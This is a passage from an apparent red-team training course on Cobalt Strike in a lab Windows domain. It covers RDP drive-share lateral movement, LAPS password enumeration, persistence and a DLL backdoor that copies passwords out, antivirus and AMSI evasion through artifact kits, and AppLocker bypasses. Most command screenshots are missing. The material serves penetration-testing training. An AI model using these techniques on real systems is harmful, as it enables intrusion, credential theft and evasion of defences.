jean.wise is a member of a System Admins domain group,
which is a member of the local Administrators on SQL01.

We didn't see port 445 open, so we can't do anything over


file shares, but 5985 is.

I use another Pivot Listener here because with the Windows


Firewall enabled on SQL01, we can't connect inbound to 445
(so no SMB listener) or other arbitrary ports like 4444 (so no
TCP listener).

The Windows Firewall is not enabled on SQL-1, so we can


bind to a high-port and catch the reverse connection from
the Pivot Listener.

If the Windows Firewall was also enabled on SQL-1, we'd


likely need to attempt to open a port using netsh.

Even if jean.wise was not a local admin on SQL01, or if


none of the juicy management ports were available, it can
still be possible to move laterally via the established RDP
248/279
channel.

This is where the drive sharing comes into play.

Inside jean.wise's RDP session on SQL-1, there's a UNC path


called tsclient which has a mount point for every drive
that is being shared over RDP. \\tsclient\c is the C: drive
on the origin machine of the RDP session, in this case
sql01.zeropointsecurity.local.

This gives us the equivalent of standard user read/write


access to that drive. This doesn't seem that useful, but what
we can do it upload a payload, such as a bat or exe to
jean.wise's startup folder. The next time they login, it will
execute and we get a shell.
249/279
You can simulate this in the lab by disconnecting and
reconnecting your console access.

Don't put your pivot listener on the Beacon injected into


jean.wise on SQL-1. When the RDP session is disconnected,
the Beacon will die and you'll lose the pivot.

Disconnect and reconnect to the console of


sql01.zeropointsecurity.local to simulate a user logoff/logon,
and the Beacon will execute.

Local Administrator Password


Solution
Organisations often have a build process for physical and
virtual machines within their environment. It's common that
everything is built from the same "gold image" to ensure
consistency and compliance.

However, these processes can result in every machine


250/279
having the same password on accounts such as the local
administrator. If one machine and therefore the local
administrator password hash is compromised, an attacker
may be able to move laterally to every machine in the
domain using the same set of credentials.

LAPS is a Microsoft solution for managing the credentials of a


local administrator account on every machine, either the
default RID 500 or a custom account. It ensures that the
password for each account is different, random, and
automatically changed on a defined schedule. Permission to
request and reset the credentials can be delegated, which
are also auditable. Here is a quick summary of how LAPS
works:

1. The Active Directory schema is extended and adds two new


properties to computer objects, called ms-Mcs-AdmPwd and ms-Mcs-
AdmPwdExpirationTime.
2. By default, the DACL on AdmPwd only grants read access to Domain
Admins. Each computer object is given permission to update these
properties on its own object.
3. Rights to read AdmPwd can be delegated to other principals (users,
groups etc). This is typically done at the OU level.
4. A new GPO template is installed, which is used to deploy the LAPS
configuration to machines (different policies can be applied to different
OUs).
5. The LAPS client is also installed on every machine (commonly
distributed via GPO or a third-party software management solution).
6. When a machine performs a gpupdate, it will check the
AdmPwdExpirationTime property on its own computer object in AD. If
the time has elapsed, it will generate a new password (based on the
LAPS policy) and sets it on the AdmPwd property.

There are a few methods to hunt for the presence of LAPS. If


LAPS is applied to a machine that you have access to,
AdmPwd.dll will be on disk.

251/279
Find GPOs that have "LAPS" or some other descriptive term
in the name.

Search computer objects where the ms-Mcs-


AdmPwdExpirationTime property is not null (any Domain User
can read this property).

If we can find the correct GPO, we can download the LAPS


configuration from the gpcfilesyspath.

Parse-PolFilefrom the GPRegistryPolicyParser package can be


used to convert this file into human-readable format.
252/279
BloodHound can also be used to find computers that have
LAPS applied to them:

MATCH (c:Computer {haslaps: true}) RETURN c

And also any groups that have an edge to machines via LAPS:

MATCH p=(g:Group)-[:ReadLAPSPassword]->(c:Computer) RETURN p

253/279
The native LAPS PowerShell cmdlets can be used if they're
installed on a machine we have access to.

will list the principals allowed to


Find-AdmPwdExtendedRights
read the LAPS password for machines in the given OU.

Since Domain Admins can read all the LAPS password


attributes, Get-AdmPwdPassword will do just that.

254/279
This isn't particularly useful as if you already have Domain
Admin privileges, you probably don't need to leverage the
LAPS passwords. However, if we have the credentials for
somebody in the 1st Line Support, this could allow us to
move laterally to a machine with an even higher-privileged
user logged on.
bfarmer cannot read the LAPS passwords:

Make a token (or use some other method of impersonation)


for a user in the 1st Line Support group.

255/279
If you don't have access to the native LAPS cmdlets,
PowerView can find the principals that have ReadPropery on ms-
Mcs-AdmPwd. There are also other tools such as the LAPSToolkit.

256/279
LAPS Persistence
If we have the password for a sensitive machine that we'd
like to maintain access to, we can prevent a machine from
updating its password by setting the expiration date into the
future.

The expiration time is an epoch value that we can increase


to any arbitrary value. Because the computer accounts are
allowed to update the LAPS password attributes, we need to
be SYSTEM on said computer.

257/279
Now even the native cmdlet reports the expiration date to be
the year 2338.

LAPS Backdoors
The PowerShell cmdlets for LAPS can be found in C:
\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS.

The original source code for LAPS can be found here - we can
compile a new copy of the DLL with some hidden backdoors.
In this example, we backdoor the Get-AdmPwdPassword
method to write the password to a file, so that when an
admin legitimately gets a password, we can have a copy.
The original method is very simple (located in Main/
AdmPwd.PS/Main.cs):
258/279
We can add a simple line to append the computer name and
password to a file.

Compile the project and upload AdmPwd.PS.dll to the machine.

Replacing the original file has changed the Last Modified


timestamp for AdmPwd.PS.dll.

259/279
Use Beacon's timestomp command to "clone" the timestamp
of AdmPwd.PS.psd1 and apply it to AdmPwd.PS.dll.

Go ahead and run Get-AdmPwdPassword and then check C:\Temp.

260/279
There are clearly more subtle ways to go about this, and
dropping to a text file in C:\ is not the best strategy. But
since we have access to source code, we can do anything we
want.

Bypassing Antivirus
Cobalt Strike has two main flavours of artifact. Compiled
(EXEs and DLLs); and scripts (PowerShell, VBA, SCT, etc).
Each workflow uses a particular artifact - for instance, jump
psexec64 uses a compiled x64 service binary and jump
winrm64 uses x64 PowerShell.
Sometimes you will see commands fail:

261/279
The issue with the winrm64 attempt is obvious if you read
the error (not always easy within the XML): "This script
contains malicious content and has been blocked by
your antivirus software"; and error code 225 is
262/279
"Operation did not complete successfully because the
file contains a virus or potentially unwanted
software."
Get-MpThreatDetection is a Windows Defender cmdlet that
can also show detected threats.

The first entry is the winrm64 attempt. The offending process


was wsmprovhost.exe (the host process for WinRM plugins)
which was detected and blocked by AMSI (antimalware scan
interface). So this is an in-memory detection.
The second entry is the psexec64 attempt. The process
c8e8647.exe matches the name of the Beacon artifact
which is automatically uploaded to the target in the
workflow. This was detected and deleted by the traditional on-
disk engine.
Cobalt Strike provides two "kits" that allow us to modify the
Beacon artifacts, obviously with the aim of avoiding
detection. The Artifact Kit modifies the compiled artifacts
and the Resource Kit modifies script-based artifacts.

Artifact Kit
The artifact kit produces "placeholder" binaries that contain
263/279
all the logic for executing a Beacon, but without the actual
Beacon payload inside. When a payload is generated from
the Cobalt Strike UI, it takes one of these artifact files and
patches it on-the-fly with Beacon shellcode. When executed,
the artifact will load and run that shellcode.
Most artifacts will inject into themselves using VirtualAlloc/
VirtualProtect/CreateThread. The service binary is the only
one that performs remote injection.
Changing existing, or creating new templates, allows you to
change how that shellcode is actually executed, and
subsequently bypass AV signatures and/or behavioural
analysis.
Before we start messing with changing the payload template,
we need an idea of which part(s) Defender is detecting as
malicious. ThreatCheck takes an input file which it splits into
parts, then scans each part to try and find the smallest
component that triggers a positive detection.
Generate a Windows Service EXE and save it to C:\Payloads,
then scan it with ThreatCheck.

264/279
ThreatCheck attempts to find the end of the "bad bytes" and
produces a hex dump up from that point. So the content
closest to the end is what we want to focus on. It looks like
the detection is coming from the string
%c%c%c%c%c%c%c%c%cMSSE-%d-server, which is a good
starting point.
Searching for where MSSE appears in the kit, we find it's in
bypass-pipe.c.

The dist-pipe artifact will create a named pipe, read the


shellcode over that pipe, and then executes it.
This line attempts to generate a pseudo-random pipe name.
It seems as though it's already semi-obfuscated because of
265/279
the slightly weird formatting. It produces a string that would
look something like: \\.\pipe\MSSE-1866-server, where
1866 is from GetTickCount (which is the number of
milliseconds elapsed since the computer started).
I'm an advocate of the KISS principle (keep it simple, s
tupid), so let's just change the strings MSSE and server to
something different, such as:

Within the dist-pipe directory you'll see a new list of


artifacts that have been built, along with an artifact.cna
file. The CNA file contains some Aggressor that tells Cobalt
Strike to use these artifacts inside of the default ones.

266/279
Copy the whole dist-pipe directory to C:
\Tools\cobaltstrike\ArtifactKit.

In Cobalt Strike, go to Cobalt Strike > Script Manager and


you'll see that this is already loaded (as mentioned
previously). There's no need to load it again, but just know
267/279
this is where you can load/reload CNA files.
To test the new templates, generate the same service EXE
payload as before and scan it with ThreatCheck.
Lo and behold…

Resource Kit
The Resource Kit contains templates for Cobalt Strike's script-
based payloads including PowerShell, VBA and HTA.

268/279
template.x64.ps1 is the template used in jump winrm64,
so let's focus on that.
If we just scan the template (without any Beacon shellcode
even been there), ThreatCheck will show that it is indeed
detected by AMSI.

269/279
This particular output seems to be complaining about the
small block of code around lines 26-28.

AmsiScanBuffer

270/279
271/279
272/279
273/279
274/279
Exclusions

AppLocker
AppLocker is Microsoft's application whitelisting technology
that can restrict the executables, libraries and scripts that
275/279
are permitted to run on a system. AppLocker rules are split
into 5 categories - Executable, Windows Installer, Script,
Packaged App and DLLs, and each category can have its own
enforcement (enforced, audit only, none).
If an AppLocker category is enforced, then by default
everything within that category is blocked. Rules can then be
added to allow principals to execute files within that category
based on a set of criteria. The rules themselves can be
defined based on file attributes such as path, publisher or
hash. AppLocker has a set of default allow rules such as,
"allow everyone to execute anything within C:\Windows\*" -
the theory being that everything in C:\Windows is trusted
and safe to execute.

AppLocker Rule Bypasses


The difficulty of bypassing AppLocker depends on the
robustness of the rules that have been implemented. The
default rule sets are quite trivial to bypass in a number of
ways:
1. Executing untrusted code via trusts LOLBAS's.
2. Finding writeable directories within "trusted" paths.
3. By default, AppLocker is not even applied to Administrators.

It is of course common for system administrators to add


276/279
custom rules to cater for particular software requirements.
Badly written or overly permissive rules can open up
loopholes that we can take advantage of.
Like LAPS, AppLocker creates a Registry.pol file in the
GpcFileSysPath of the GPO which we can read with the
Parse-PolFile cmdlet. This is one of the default rules.

AppLocker rules applied to a host can also be read from the


local registry at
HKLM\Software\Policies\Microsoft\Windows\SrpV2.
Interestingly, Cobalt Strike's jump psexec[64] still works
against the default AppLocker rules, because it will upload a
service binary into C:\Windows, which is a trusted location
and thus allowed to execute.
Uploading into C:\Windows requires elevated privileges, but
there are places like C:\Windows\Tasks that are writeable
by standard users. These areas are useful in cases where you
have access to a machine (e.g. in an assumed breach
scenario), and need to break out of AppLocker to run post-ex
tooling.

277/279
This is an example of an overly permissive rule.

The path %OSDRIVE%\*\Packages\* expands to C:\*\Packages\*,


(assuming C:\ is indeed the OS drive, which it almost always
is) - this means we could create a folder called Packages
anywhere on C:\ and run exe's from it because of the
wildcards.

DLL enforcement very rarely enabled due to the additional load it can
278/279
put on a system, and the amount of testing required to ensure nothing
will break.

Cobalt Strike can output Beacon to a DLL that can be run


with rundll32.

279/279

You might also like